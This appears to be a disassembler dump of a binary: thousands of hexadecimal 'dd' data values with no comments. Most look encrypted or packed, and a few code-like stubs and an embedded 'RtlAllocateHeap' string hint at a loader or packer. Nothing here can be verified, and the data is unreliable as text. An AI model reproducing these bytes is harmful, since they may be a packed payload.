		dd 15664426h, 0D19C68CEh, 0EAEEEE8Ah, 2A74F4EAh, 3A3C640Eh
		dd 0B16A5C58h, 15661BDBh, 0A4062032h, 0AC8C2784h, 74E800C9h
		dd 9169D20Eh, 156689ABh, 9D3415CBh, 4F97AAF4h, 0ED3FDABAh
		dd 156264B3h, 19EF4432h, 95249716h, 0D0E611D7h,	4C8DA8C2h
		dd 15664BDBh, 7913C532h, 0FAB42F32h, 0A71CE14Ah, 3684AC2Dh
		dd 1577A83Dh, 198F1132h, 0FE668832h, 201E6F0Ch,	0BCA1602Ch
		dd 95985882h, 9169F8C9h, 15664008h, 1A8F1ECAh, 15672DB6h
		dd 1FE38732h, 75664432h, 0D05DD2B3h, 0C4ED2178h, 1A8DB453h
		dd 156760B6h, 188F4232h, 47661132h, 0A9844B69h,	1D724396h
		dd 6D6A7019h, 1AA42D53h, 156780B6h, 1574AD32h, 13B52232h
		dd 9F20CCBBh, 0CB3F62B1h, 0B3F55179h, 0E5BFA0F9h, 9169DA0Eh
		dd 156688DBh, 156643DBh, 0A32C3232h, 7EB3E0C4h,	0EA5BEECEh
		dd 0C7E24B17h, 1A662232h, 156601B5h, 156D6132h,	0EE414432h
		dd 25E87D72h, 0E488C4C0h, 1AACB48Fh, 1566F0B6h,	0F65ADE32h
		dd 16C6953Dh, 58F8832h,	8E664432h, 51B74141h, 0AA17736Dh
		dd 0B9CAA0E1h, 73C9EAE2h, 1A990C0Fh, 156675B7h,	15636132h
		dd 1AFE4432h, 7D1F0506h, 15664F6Eh, 0AE4294BBh,	15664430h
		dd 16ECD133h, 4A367169h, 0FC075BB9h, 15664439h,	8796D9C5h
		dd 267C9C48h, 469D8A69h, 0F6E6BD81h, 95A5DC20h,	0D6E610F1h
		dd 4EBEA8ECh, 976924CBh, 15662232h, 1AC62D53h, 1566B0B6h
		dd 156DAD32h, 0C9892232h, 82159EC4h, 4E5FD517h,	15DB1152h
		dd 40662232h, 84225B3h,	4D7A4B0Bh, 0D65F5907h, 96697F2Eh
		dd 15661133h, 15FE61CAh
		dd 95694432h, 15662233h, 90D398CAh, 1A602432h, 156645B4h
		dd 9F69D732h, 15661135h, 1567053Dh, 989F4432h, 0A7CFF6AFh
		dd 156BF834h, 97678832h, 8CA079D5h, 0D866D3E9h,	0EAB49FE3h
		dd 1EE487E1h, 75664432h, 0BF0FC5B3h, 0A2690CF3h, 0AE35E9C4h
		dd 30502519h, 0F6A7F1C5h, 0EDAD9036h, 5E47CC03h, 4461A7F3h
		dd 7134948Bh, 8487903Dh, 94794637h, 506355DBh, 4CAD0B12h
		dd 753DC9BBh, 15600B3Dh, 0F4E74432h, 433CEA44h,	156FF952h
		dd 0AFBC8832h, 0E5EB8CAEh, 4C9BC406h, 1AA57053h, 156689B6h
		dd 1F8FB132h, 0CD662232h, 8D5DDCC0h, 0C9499402h, 0F2EF1304h
		dd 1562E5B3h, 0FAE51132h, 315A0F36h, 3162CD6Eh,	9E697352h
		dd 15661132h, 6399E969h, 3162CF22h, 1562E6B3h, 96691132h
		dd 1566883Fh, 1560AD52h, 0E60B2232h, 0D1AB5471h, 0A8E30153h
		dd 7560E83Ch, 156DCA63h, 0D73F1132h, 28B0A704h,	7CC4CB8Dh
		dd 74397B5Eh, 4D4225CDh, 15624CB3h, 0FC9A4432h,	15662239h
		dd 11DD23E6h, 0A49A84A4h, 4614BAA8h, 65C49C64h,	0D3E77CB2h
		dd 1A0D6BEh, 0CA1A2B3h,	0D3E76D94h, 250665D1h, 11804974h
		dd 0CBE2AAB3h, 0E6EF0455h, 4EB8106Ch, 15668FDBh, 815D3D32h
		dd 0D31160DCh, 1C67ACBFh, 188F8E9Eh, 0CC664432h, 58133C2Ch
		dd 2113AE71h, 0EFDCF8E7h, 428FC552h, 1A35EA52h,	156613BFh
		dd 74053932h, 9069249Fh, 15662230h, 0E7E77283h,	31B73191h
		dd 74046953h, 43635EA1h, 1641781Bh, 3842AC76h, 320F6D64h
		dd 86074037h, 1568F84Eh, 0CAE48832h, 4C88091Ch,	0D0730FE8h
		dd 0F2909563h, 128EE899h, 9F664432h, 3D365D15h,	0AB002551h
		dd 743CEB26h, 9CDBC9CBh, 0FC608E11h, 15661120h,	5A57022Eh
		dd 93EAEA5Dh, 8295C3D0h, 4FCE9E97h, 75CB4715h, 1565C73Dh
		dd 0D4E62232h, 4707E455h, 58042388h, 4FB66D04h,	31426631h
		dd 5804BA37h, 1FEE8704h, 0FC664432h, 15662237h,	0EA7CD0D4h
		dd 0F0EFDD88h, 156281B3h, 0F8E72232h, 15661136h, 4942A4B5h
		dd 754240BBh, 1563AC3Dh, 94001132h, 947149DCh, 0F9362AD3h
		dd 0EDCD433Bh, 253BACBFh, 75068E9Eh, 7FE89FB3h,	1D8F5DC0h
		dd 0C7661132h, 0E2E28840h, 742FCC2Bh, 1560A83Dh, 0CCE71132h
		dd 7A7BAC4Ch, 109FE953h, 2A55BA4h, 6524AF1Fh, 31228B0Ah
		dd 57D8411Ah, 834B1A42h, 7571D24Bh, 128F7FB9h, 75664432h
		dd 0A02D1C39h, 0BE0757E3h, 0AA53352h, 1D8F0936h, 48662232h
		dd 0B612D305h, 74C2F90Bh, 15664CDBh, 0C2CFF632h, 41D54682h
		dd 3152771Dh, 11A2C76Ch, 1572CB52h, 47681132h, 30D894A3h
		dd 69ADAC3Ch, 0E161E6A5h, 0AD2D9253h, 138F149Eh, 57664432h
		dd 71EC2342h, 0FCA57010h, 1566883Ch, 46CDCD3Eh,	55D78075h
		dd 787B31C7h, 9C300195h, 11A0C5D4h, 94662232h, 156615DCh
		dd 31520F32h, 3152CD6Eh, 1567A63Dh, 989E1132h, 0A7CF8CAFh
		dd 0EC06B834h, 1566A03Dh, 0EA071132h, 157661E1h, 0EBF24432h
		dd 0FC6FDEF6h, 0F568BC19h, 3D50AD44h, 8F8FA1ABh, 0FC99DDCEh
		dd 1566113Eh, 6DC3FE52h, 52582BADh, 0BFB45955h,	48F4252h
		dd 21668832h, 171A2C50h, 0DA2F834h, 222F1A73h, 5894D0BCh
		dd 156CAC6Ah, 5AC62232h, 64588056h, 0E2316C91h,	156648DBh
		dd 0F8BCBB32h, 480FC46Dh, 0E94CEA7h, 0DF615AE8h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 0E2EFC0D5h, 0ED96A4F6h, 8A152AA8h
		dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh,	2C5E8979h
		dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h
		dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh
		dd 8660D554h, 2559D7BAh, 397105CEh, 32DCF143h, 8CA64F52h
		dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0CC6E38C8h
		dd 7462CE7h, 1B34A4DFh,	3C6D552h, 92B85E00h, 75152A54h
		dd 0DDAEAE30h, 0C18FA75Ch, 0FB571121h, 0EF13B0D9h, 7BAEA4F6h
		dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h,	8CA64E03h
		dd 0AECB2F16h, 75139931h, 54142B96h, 8A152ABDh,	0EDDAC345h
		dd 82D7E3A8h, 3044BA45h, 0FE90000h, 1000000h, 468E0Ah
		dd 2 dup(0)
		dd 0A6E90000h, 80000004h, 0C070B16Dh, 8232F32Bh, 0C171B06Ch
		dd 9C2CED29h, 0D70B16Dh, 9C58B7F4h, 0C3FBED5Dh,	0A65EB202h
		dd 0FE36D767h, 9427763Fh, 0E8DFCC40h, 5E26AA8Dh, 0E6B171ADh
		dd 0F57CB856h, 0A01326C5h, 0EF93356Ch, 72B39DB1h, 2DED29C2h
		dd 0EB23CA7Ah, 3808812Bh, 0F72311CFh, 623C5875h, 0B8908504h
		dd 230D353Dh, 7CB855E3h, 24E00ABCh, 7DB952E4h, 4C381ABDh
		dd 0E783A315h, 4E9D59B2h, 1ADA12FEh, 70AAFE4Dh,	0DBF7EF92h
		dd 0EEBF7CF5h, 0B777AF5Eh, 48A4941Dh, 92BC7890h, 0D70FE353h
		dd 8F47A117h, 0D410F94Fh, 914DA214h, 0C9A57951h, 0CA7AAB88h
		dd 4567EE26h, 5C987429h, 376DDE8Fh, 0A1EF9271h,	0E54F8F47h
		dd 9457DEF2h, 0CB0BC324h, 9272277Eh, 0AE1ECDEFh, 5E98342h
		dd 0CB8BA4F3h, 5B2FBE67h, 0BFD5B132h, 56EAB13Ah, 6005B0A4h
		dd 5F022FBFh, 0D5525DB9h, 56AEB133h, 565759CEh,	0D7F1B132h
		dd 0E40D3ED8h, 5E60BE34h, 3675B132h, 77550B54h,	0F305E983h
		dd 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FBC9C496h, 0F53FD525h
		dd 8AB4ADFDh, 342291C6h, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h
		dd 7C277975h, 4E03B898h, 0A8FFA073h, 5E98302h, 0DB8BA4F3h
		dd 8FD9BD8Dh, 8D8D06B3h, 6B4164Bh, 156644B8h, 0C1CF2B32h
		dd 73102E9h, 0C783C8D0h, 0F6754904h, 8955F5F9h,	2C8155C5h
		dd 0E20FCC24h, 0CC055817h, 5D17E20Fh, 85BD83F9h, 6AC1Eh
		dd 0BD830975h, 6AC0A29h, 50197400h, 0B8C08B53h,	411h, 0C018589h
		dd 9D8D06ACh, 6AEA2CBh,	585BD3FFh, 0A29BD83h, 740006ACh
		dd 0B8535017h, 411h, 0C018589h,	9D8D06ACh, 6AE9F6Ch, 585BD3FFh
		dd 11E9h, 5EF07700h, 94D1930Eh,	1EBEA73Ch, 45E33995h, 0FF8862Dh
		dd 187h, 8150F500h, 45032434h, 48B664Eh, 4C48324h, 4E450335h
		dd 1860F66h, 0F9000000h, 10E8F8h, 694D0000h, 0D8A93F25h
		dd 68F7CD76h, 14911ABBh, 0B70FB0A2h, 0EC8A5EC9h, 5C44C681h
		dd 0BAFC0000h, 2B61686Bh, 518EEA81h, 10E82B61h,	54000000h
		dd 67EC9877h, 1C28E3C6h, 2C49DEA7h, 5B3DDC8Ch, 0C18136FFh
		dd 6C37BEC0h, 71F38058h, 0DF9DC081h, 0D88B5E53h, 7F8FE881h
		dd 666058FFh, 0F98C8FBEh, 90F08161h, 603B4616h,	0EE69BE66h
		dd 0F78B6657h, 8F50615Bh, 83F88B06h, 8E902EEh, 0F2000000h
		dd 329B6C16h, 4E762048h, 0BF0F604Eh, 0FFB70FD8h, 1EA8161h
		dd 0F000000h, 1D85h, 0E5BB6600h, 30E9E1h, 8D580000h, 9B7F9880h
		dd 0D43AE8C7h, 0D8FAB6A6h, 40ED3571h, 9E97951h,	75000000h
		dd 8932428Bh, 0CD950A41h, 0FFFF73E9h, 50F5F0FFh, 68C2638Eh
		dd 0EE839DCh, 73000000h, 59E2CE99h, 0E6A1A6h, 725CFDE8h
		dd 0F5FF8BAh, 38Dh, 0C68B6600h,	61A0C781h, 0EE80000h, 11000000h
		dd 0A7EE33BFh, 1B5E87B0h, 0DC7FC3A6h, 38B0FA6h,	0F000000h
		dd 0BA59C9B7h, 0
		dd 5E860h, 65220000h, 0F95E04C3h, 0CABF0F5Bh, 171C8B61h
		dd 6BD7F381h, 81660B93h, 81FE2BE1h, 286638F3h, 14E864h
		dd 13400000h, 4353EEDh,	0DBF4BD8h, 5560ACDCh, 0FB4B34C3h
		dd 0FBB92FE4h, 5953D7F4h, 0C726C381h, 1C895214h, 0C88B6617h
		dd 838CEC80h, 4AF501EAh, 9E84A4Ah, 1A000000h, 9BFF4184h
		dd 91C7BA47h, 5EF18B66h, 9F5CFA81h, 850FFFFFh, 1Bh, 28B0Fh
		dd 0C68B0000h, 3AE9h, 5DB84200h, 11F9A9EEh, 87E9FDCFh
		dd 0E8E92A71h, 0Ah, 0F3911344h,	0AC7D8247h, 8E91BB3h, 24000000h
		dd 7589EE7Dh, 5926395Eh, 0FFFF5CE9h, 0A1DCF0FFh, 1121EDBCh
		dd 0E9514EC7h, 2Bh, 5BD47390h, 9 dup(0)
		dd 0E9000000h, 4CAh, 0B41C7E68h, 62C2E906h, 0DE68FFF8h
		dd 0E906B41Ch, 0FFF862B8h, 0B41E7568h, 62AEE906h, 0C12CFFF8h
		dd 9774C405h, 0C02E9E5Fh, 9575C504h, 0C1289859h, 40B9C405h
		dd 0F130EC03h, 0AE6FA741h, 0FB3AF21Eh, 0AB6AA24Bh, 0CC00B3E2h
		dd 11E8DF1Ah, 0BA57E736h, 5E078B02h, 1B777AFh, 88ED2CE8h
		dd 0A4F5264Ch, 0E7C05FF5h, 3B9567D6h, 930ED60Ah, 79CA1BEFh
		dd 0EF930F23h, 0E36A4468h, 2F2E71D0h, 0B9D07AE5h, 0BC3258Bh
		dd 0FC4961CBh, 0D4C148E2h, 538D38F8h, 27F63EC0h, 0BE12A1F0h
		dd 3F63EC0h, 0E884A62Fh, 0CA02E454h, 0A029A00Ah, 39EF3A24h
		dd 30E2Ch, 1CACFD00h, 58F232EAh, 3ECD3369h, 74B05DF6h
		dd 4AC64F63h, 0A1659DCBh, 0F94918CBh, 6E5DD410h, 0E52F43EFh
		dd 469A2978h, 8BF63F69h, 173B2EA7h, 0C48342F7h,	0FC38F321h
		dd 0D084D86Bh, 0F9C9F3A4h, 0B11BDB13h, 0D162B19Fh, 0E940BEF8h
		dd 0CAA96945h, 4B7640Eh, 0EFECF7CBh, 45EF3C10h,	858F98F9h
		dd 0E01CCDB4h, 269647CEh, 78C809C5h, 49BF578Fh,	36C729Ch
		dd 2F9733Fh, 0CD200000h, 8B60D011h, 0CC229253h,	8961D110h
		dd 0CD3C8C4Dh, 54ADD011h, 0FD3CF817h, 0A2639B4Dh, 7C6FE12h
		dd 5F9E56B7h, 0A0F44716h, 0EDE8DF19h, 4F8B46CAh, 0F345F625h
		dd 78E5272Ah, 0D8378754h, 3C8CDD1Ch, 0AD9D14D0h, 0F346863Eh
		dd 0F6475098h, 1FF327C0h, 0ED21C9E7h, 9761BCFCh, 299E7ABh
		dd 6D800000h, 2BC070B1h, 6C8232F3h, 29C171B0h, 6D9C2CEDh
		dd 0F40D70B1h, 5D9C58B7h, 2C3FBEDh, 67A65EB2h, 3FFE36D7h
		dd 40942776h, 8DE8DF19h, 4F8B26AAh, 0F345F625h,	0BCE5272Ah
		dd 0E020DC0Ch, 0B044364Ch, 0BC920BC2h, 66A65E8Eh, 605045CCh
		dd 3A90508Ch, 9777C714h, 0BC359F5Fh, 9891CB7Eh,	0B661F647h
		dd 0EE85A81Ch, 931A2396h, 0BD39D5B1h, 0B739F0FEh, 1BFh
		dd 6DC0CC66h, 6FA8696h,	8F0628E4h, 71AD5E03h, 2EE607B1h
		dd 244E8AEFh, 289144F7h, 0FDEE52Fh, 3F5468BCh, 0B799B5F6h
		dd 548AC277h, 1CF2F63Fh, 23C799E6h, 103EF67Eh, 528A66D0h
		dd 0F09CBC92h, 513D19B1h, 0E8C331B5h, 33D56539h, 0E7C905E7h
		dd 8B048D27h, 55h, 0CB03EA5Ah, 0EEBFCE42h, 0B777AF5Eh
		dd 35F82C1Dh, 9445EF93h, 9335F127h, 3C123EEFh, 36085CEFh
		dd 7955EF93h, 0BBD115F0h, 3B6ADB68h, 0DBF7E52Fh, 3F76AE1Bh
		dd 6D9EF63Fh, 26C771B1h, 73982EEEh, 0F2D17BBBh,	55FDB4D0h
		dd 7DF91571h, 7739E8B9h, 0C4h, 8CAD5EFBh, 9335E93Fh, 0C7FF13EFh
		dd 12D2FCD0h, 71A71445h, 0BEEF9335h, 89A75F8Eh,	1DD93000h
		dd 4A826BDDh, 0FCB3C8Ah, 0D7042AE2h, 9D4F8B67h,	250BA161h
		dd 5C64FE5h, 93307CB6h,	8B43A4EFh, 81EB2F4Ah, 5735F852h
		dd 0C1FC7573h, 32A9948h, 8E52348h, 16A6F724h, 84B43DF9h
		dd 0D868A965h, 0A979F331h, 0E43B94C3h, 14F222CAh, 9EA261B8h
		dd 102D2h, 0CC82B00h, 54907DCDh, 0FC72595h, 568E7ECEh
		dd 0CC82797h, 3A49B0CDh, 6ADA1BD3h, 35854480h, 6CDC1DD9h
		dd 0CB82437Bh, 17F3299Ah, 1F38E8DFh, 77AF5E93h,	0BA57E7B6h
		dd 7EFD6804h, 557B8A37h, 0C5FBECDCh, 638AEFD2h,	463283ABh
		dd 515D9CB2h, 3F8CAD5Eh, 0EF9335E9h, 0E7341A36h, 0F57CB857h
		dd 0AC688137h, 0A6CC086Dh, 7841C675h, 220EE52Fh, 72AA41F1h
		dd 83C800B3h, 0D730F63Fh, 133EB03h, 58F232EAh, 0E807B776h
		dd 0EABBEC2Ch, 0BB7BB35Ah, 83EC2011h, 1D31F63Fh, 655E94h
		dd 8B540000h, 45F6254Fh, 0E5272AEFh, 609C4C7Ch,	0CF388E4Eh
		dd 2EE60Bh, 5C9871C1h, 7D0E299Ch, 92B25327h, 924AA3F6h
		dd 0D20AE353h, 0A7144512h, 53A7A471h, 46A092BEh, 0D737078Eh
		dd 0A978DF1Fh, 0A5154BF8h, 765A53A7h, 0ECB1DDFFh, 5302C3FBh
		dd 0FFD70FE3h, 6951A603h, 90A029F4h, 337FBF77h,	3, 5E720039h
		dd 0DBB7BB3h, 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh
		dd 2A9C5C98h, 7CCA0AC2h, 2096568Eh, 0DDD313CBh,	81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0C5682434h, 8900001Eh
		dd 89572434h, 4C781E7h,	83000000h, 3C8704EFh, 2C895C24h
		dd 0FDB95124h, 81712471h, 8FA975C1h, 8BCE8995h,	0C483240Ch
		dd 2C8B5404h, 4C48124h,	56000000h, 0E5243481h, 8F271B27h
		dd 0BA520845h, 8, 3281EA01h, 271B27E5h,	2434FF5Ah, 4C4815Dh
		dd 0FF000000h, 835E2434h, 5E904C4h, 0ECFFF85Eh,	9CB81FBDh
		dd 306B41Fh, 0C4E0FFC5h, 5D76B38Ch, 823FEB58h, 0AB61DDB2h
		dd 0D277ABD4h, 7A098188h, 0CD493415h, 33440BAAh, 0F4061BB3h
		dd 0AD59C206h, 0E928DF38h, 0EDh, 0D88C6660h, 840F04A8h
		dd 0DFh, 1F8DB58Bh, 0FE8306ACh,	22850F00h, 0C6000000h
		dd 0AC333985h, 69684506h, 0FF8E7269h, 0AC1281B5h, 29858D06h
		dd 0FF06AF69h, 0D18589D0h, 8B06AC21h, 0E93E80F0h, 31850Fh
		dd 858D0000h, 6B198D7h,	0BD8BD0FFh, 6AC2FC5h, 1184C781h
		dd 0B58B0000h, 6AC1F8Dh, 8B9F787h, 0F3000000h, 8DB58BA4h
		dd 8D06AC1Fh, 0B028F685h, 8BD0FF06h, 0AC2615B5h, 0FE8306h
		dd 22850Fh, 85C60000h, 6AC3339h, 0BEF46854h, 0B5FFFF4Eh
		dd 6AC1281h, 6929858Dh,	0D0FF06AFh, 26158589h, 0F08B06ACh
		dd 0FE93E80h, 3A85h, 15B58B00h,	8D06AC26h, 0B198D785h
		dd 8BD0FF06h, 0AC2FC5BDh, 84C78106h, 83000011h,	0B58B08C7h
		dd 6AC2615h, 8B9F787h, 0F3000000h, 15B58BA4h, 8D06AC26h
		dd 0B028F685h, 61D0FF06h, 54858DC3h, 8906B420h,	0AC279185h
		dd 4F8D8D06h, 6A06B422h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 7C95C356h, 1363D5B9h
		dd 2F0D8D89h, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 932459C3h, 8A4C4B87h, 252D8589h
		dd 9D8906ACh, 6AC2561h,	1E0585C7h, 5F1806ACh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8E8DCC3h, 7B000000h,	8680BB3Eh, 6692639Eh, 0C75FD18Bh
		dd 0AC27F185h, 6, 0F8C88100h, 0FF0B2158h, 0AC0D79B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0E100B598h, 0ADBD8BA1h, 0FF06AC10h, 0AC0BF995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F86EA6BCh, 198D0952h, 5E06AC2Fh, 95FF006Ah,	6AC2145h
		dd 0EEBC08Bh, 4816361Bh, 31AF9024h, 0C073AA7Ah,	3EE95269h
		dd 0FE000000h, 5222372Eh, 6C416C74h, 61636F6Ch,	65486574h
		dd 7061h, 1400h, 9 dup(0)
		dd 0FFDE900h, 0D5680000h, 0E906B424h, 0FFF85B6Ch, 0B425B068h
		dd 5B62E906h, 0CE68FFF8h, 0E906B427h, 0FFF85B58h, 0B428EE68h
		dd 5B4EE906h, 0F68FFF8h, 0E906B42Ch, 0FFF85B44h, 0B42CA468h
		dd 5B3AE906h, 0EA68FFF8h, 0E906B42Ch, 0FFF85B30h, 0B42DCA68h
		dd 5B26E906h, 6068FFF8h, 0E906B42Eh, 0FFF85B1Ch, 0B42EB568h
		dd 5B12E906h, 1268FFF8h, 0E906B430h, 0FFF85B08h, 0B4313568h
		dd 5AFEE906h, 917CFFF8h, 0C7249455h, 907ECE0Fh,	0C5259554h
		dd 9178C809h, 10E99455h, 0C100BC53h, 9E5F9771h,	0CB0AC22Eh
		dd 9B5A927Bh, 0DC3083D2h, 21E8DF12h, 15BF8A06h,	0BA505052h
		dd 83B33ADDh, 3061B26Ah, 92C64D83h, 9955B7EFh, 0C8E4F359h
		dd 0D4358341h, 9AE5D01Eh, 1F31B7B5h, 498569DFh,	0CFAE309Ah
		dd 0BEF9EE28h, 0AB43F537h, 0E905B373h, 19C5ED2Dh, 3517346Dh
		dd 2BE30459h, 76A248F8h, 32985894h, 0E656951Ch,	803CD307h
		dd 2EDF6FAEh, 678036F6h, 8CA25AB3h, 86EC284Dh, 9F33E655h
		dd 16BCE52Eh, 0EF5B1921h, 1F0A830Dh, 554AE033h,	6725176Ah
		dd 7DB95361h, 0D16136F4h, 380B823Ah, 0F63E3EE0h, 0E727DF08h
		dd 0C202BA51h, 0FDB4D0F0h, 0F9157155h, 39EFBC7Dh, 0B4709929h
		dd 6F6F299Ch, 0A9209E90h, 3B26h, 4F8BAA00h, 0AA46F625h
		dd 9118B272h, 3B82F340h, 230FE52Fh, 8FAA40F0h, 3F3FE83Ch
		dd 371935F6h, 0F1BEA31Fh, 52DBEADBh, 0BBEB2590h, 0AB8FF63Fh
		dd 35A723BFh, 0D9AD39E8h, 21000000h, 0B171AD5Eh, 7BD1E807h
		dd 37EEFBE8h, 164A7B0Ah, 7EEF929Ch, 6D41568Eh, 0D4358343h
		dd 258FD818h, 5B54BE4Eh, 92A22B06h, 0CF7CBD79h,	0EF929AB4h
		dd 72B36B9Ch, 2DED29C2h, 44982B7Ah, 89EF92A4h, 0DC92CA5h
		dd 55E5B467h, 0C5F67FB7h, 0E52EAD14h, 0D1B47559h, 0FDAC7F15h
		dd 0A7679F4Dh, 0EDC3FB11h, 4BA15764h, 82AEEBCEh, 7EAA0051h
		dd 85CEF03h, 55FCEDA3h,	5DAB5179h, 0BB5262EBh, 49174DFEh
		dd 4864FCEDh, 0F817A766h, 0FE3ED43Ch, 0AA966862h, 0D41E6h
		dd 0AC688B00h, 0F430DD6Dh, 0AF678535h, 0F62EDE6Eh, 0AC688737h
		dd 5AE9106Dh, 0ABA7BB3h, 55E524E0h, 0CBC7DB9h, 0ABE223DBh
		dd 121349FAh, 7F58E8DFh, 77AF5EF3h, 29E506B6h, 0C418ABFAh
		dd 9EF9335h, 636FAC25h,	0F6254F8Bh, 0E069A546h,	3B338231h
		dd 94B8E52Fh, 0E1520354h, 0F63F3FABh, 0F6F4DCF0h, 54540A8h
		dd 75AF9C15h, 5F63FA0h,	2DA94521h, 2739E8DAh, 9Dh, 71AD5EABh
		dd 2CE807B1h, 0E30BBBECh, 0C841EB2Bh, 9330C0FBh, 0C7FFE8EFh
		dd 9955B606h, 69FE3A59h, 933A86DAh, 0C9E7CBEFh,	42F8A91Ah
		dd 6945E52Fh, 6309CDA8h, 0E45C03B0h, 0F4A5EBCEh, 0EDE21147h
		dd 0FB725EFCh, 4011C2EEh, 0EDE19DF3h, 47CEE2FCh, 0FC72696h
		dd 578F7ECEh, 6396A9BFh, 93DFE368h, 0C66h, 0ACB03EEh, 589955BAh
		dd 0BCA02E8h, 5A9B53BBh, 0ACB03EAh, 2AC18E77h, 698333F2h
		dd 30DC6CADh, 648535F4h, 712069A8h, 0DF108EC2h,	78F4D3E8h
		dd 0B677AF5Eh, 0E829E506h, 6DAD5EE4h, 0AF6F417Dh, 68A448F8h
		dd 0BB8B02A8h, 0B3678652h, 0C862A25Ah, 0FE36D4E6h, 6AA211D0h
		dd 92EF9335h, 8D49A179h, 993362A3h, 0A98B1DFDh,	0F6172587h
		dd 6687B73Eh, 0D70FE353h, 931CB2E6h, 0FDD3FFEFh, 6DD1842Eh
		dd 5F844B97h, 49A214D6h, 92BC7891h, 0F9953752h,	4A8B43A4h
		dd 0BB5BC743h, 0B5CDC0h, 0BF410000h, 0D138E00Fh, 57B23B15h
		dd 0F953FF93h, 15C48561h, 3D13CB27h, 7415BFEEh,	9AF636DCh
		dd 0C928894Ch, 12358EE1h, 850CC820h, 2E6BCBB6h,	0FC3C10E5h
		dd 3E760F49h, 0ABC7E3F6h, 8945A717h, 0E36AE349h, 39EF8B67h
		dd 6A6Dh, 45DE100h, 0B9EF9336h,	6EC4177Dh, 10FF57CFh, 96BE14D4h
		dd 547C0580h, 3C88320Eh, 54850C6Eh, 2E2596E7h, 816FDFE5h
		dd 0F5D9CC45h, 0A9658434h, 0A4CE0A69h, 0F32BC777h, 4AFAAB7Ah
		dd 568E78A0h, 0D2123C96h, 0AFC2F178h, 0BCEBDA52h, 0DE15190h
		dd 0B67211D1h, 0EE5E0FDCh, 0AA00C0FCh, 5D7D1023h, 6E42F286h
		dd 843E5AFh, 8BEF0000h,	45F6254Fh, 0E52F5FACh, 0E85D9DB1h
		dd 0F63F5DB0h, 0EE0A6642h, 39E8936Ah, 189Eh, 35D1200h
		dd 6DEF9336h, 2093407Ch, 0EF9335ECh, 0FB331D31h, 0FFFFFC1Ah
		dd 254F8BF1h, 2AF845F6h, 6945E52Fh, 50C41CA9h, 0BC2CF63Fh
		dd 9876C000h, 0F5309C5Ch, 5FD34368h, 553111A7h,	46FE52E1h
		dd 6F43F63Fh, 0A1CDE941h, 0E8A4C145h, 4CDCB39h,	0CB470000h
		dd 0DEB47090h, 431FBE0Dh, 0C0ECE52Fh, 775A9520h, 53970880h
		dd 0EF0BC925h, 907985C1h, 4DE72709h, 9603B063h,	1B95A134h
		dd 10A0F737h, 56FC3CF8h, 94FE3ADFh, 9D85F447h, 260A9C41h
		dd 68A445F5h, 1AA9F8A9h, 0AD609FC6h, 9EAE270Bh,	6559B16Dh
		dd 0F18D654h, 0A487F33h, 7D900000h, 0DB308041h,	0BC52E223h
		dd 9971C100h, 0BD2C9C5Dh, 44BDC001h, 0ED2CE807h, 0B273AB5Dh
		dd 0F736EE02h, 0AF6EA647h, 0D004B7E6h, 1DE8DF0Eh, 0AD5EB63Ah
		dd 16D2B171h, 35DE3281h, 0F23EF93h, 0A842F221h,	8F06AC6Ch
		dd 5594ED5Eh, 8CDDE52Fh, 563A6EDDh, 0AB87F63Fh,	3F56469Ah
		dd 57BB8BF6h, 0DBF55F9Fh, 0B86B4752h, 0E928E408h, 8465B559h
		dd 557BB354h, 0D1113F95h, 3F573064h, 5BE8B9F6h,	0F63F5705h
		dd 5B937A4Ah, 95CFFC75h, 2AF63F46h, 0B66E98EEh,	21F2DC76h
		dd 35BC7891h, 62B657E4h, 577BEBDBh, 9870C097h, 0AEE6D55Ch
		dd 0D6FCEB6Bh, 893FFF37h, 0C69A965h, 2B83C2AEh,	387630Fh
		dd 9321C85h, 32h, 5DEEBF85h, 0EF933607h, 14F17854h, 0DA69BAD0h
		dd 0E52F556Bh, 501CDCF0h, 28h, 0AFE55607h, 0FCF63F55h
		dd 554A9E2Dh, 0BB97F63Fh, 8C48A795h, 4F8B8905h,	5045F625h
		dd 1DE52F57h, 0BC52E231h, 414B8900h, 0C077AD5Eh, 36E6864Fh
		dd 483CD4FAh, 1C5B0824h, 9286C20h, 5DB00000h, 3BD060A1h
		dd 1CF24283h, 799121E0h, 1DCC7CBDh, 0A45D20E1h,	0DCC08E7h
		dd 52934BBDh, 17D60EE2h, 4F8E46A7h, 0B0E45706h,	0FDE8DF0Dh
		dd 4F8B56DAh, 0A845F625h, 0B5E52F58h, 68072E9Fh, 5A744E34h
		dd 14D03989h, 35F77ED4h, 4C803362h, 91F63F55h, 0E30434BDh
		dd 8059EA2Bh, 98CFA6Ch,	90B5EB58h, 0CAFA1D8Ah, 42CBE521h
		dd 0CE0C60A7h, 350298DBh, 86DAC82h, 0C675A6CCh,	132692D3h
		dd 2374B498h, 3F82A989h, 0A6DA0EDCh, 7F98ECE3h,	8FBF3618h
		dd 3A6BAA62h, 2484D86Bh, 0FEEC2437h, 0CFFDD1C6h, 8663EA22h
		dd 4D3F2E42h, 436BA34Fh, 17399CBDh, 3D677C4h, 0E5F19D3h
		dd 0E30D67BDh, 437B912Ah, 0E2368554h, 2F2AE30Dh, 0B1A42D03h
		dd 0B0E85D9Dh, 0D82AE30Dh, 8137F72Fh, 476FAF67h, 9CB0EF9Bh
		dd 0B4801A65h, 5D8A220Ch, 0B2D434F7h, 6674656Eh, 67137029h
		dd 26048DA3h, 0B32AAE4Ah, 225E040Bh, 8F000001h,	0D616CE3Fh
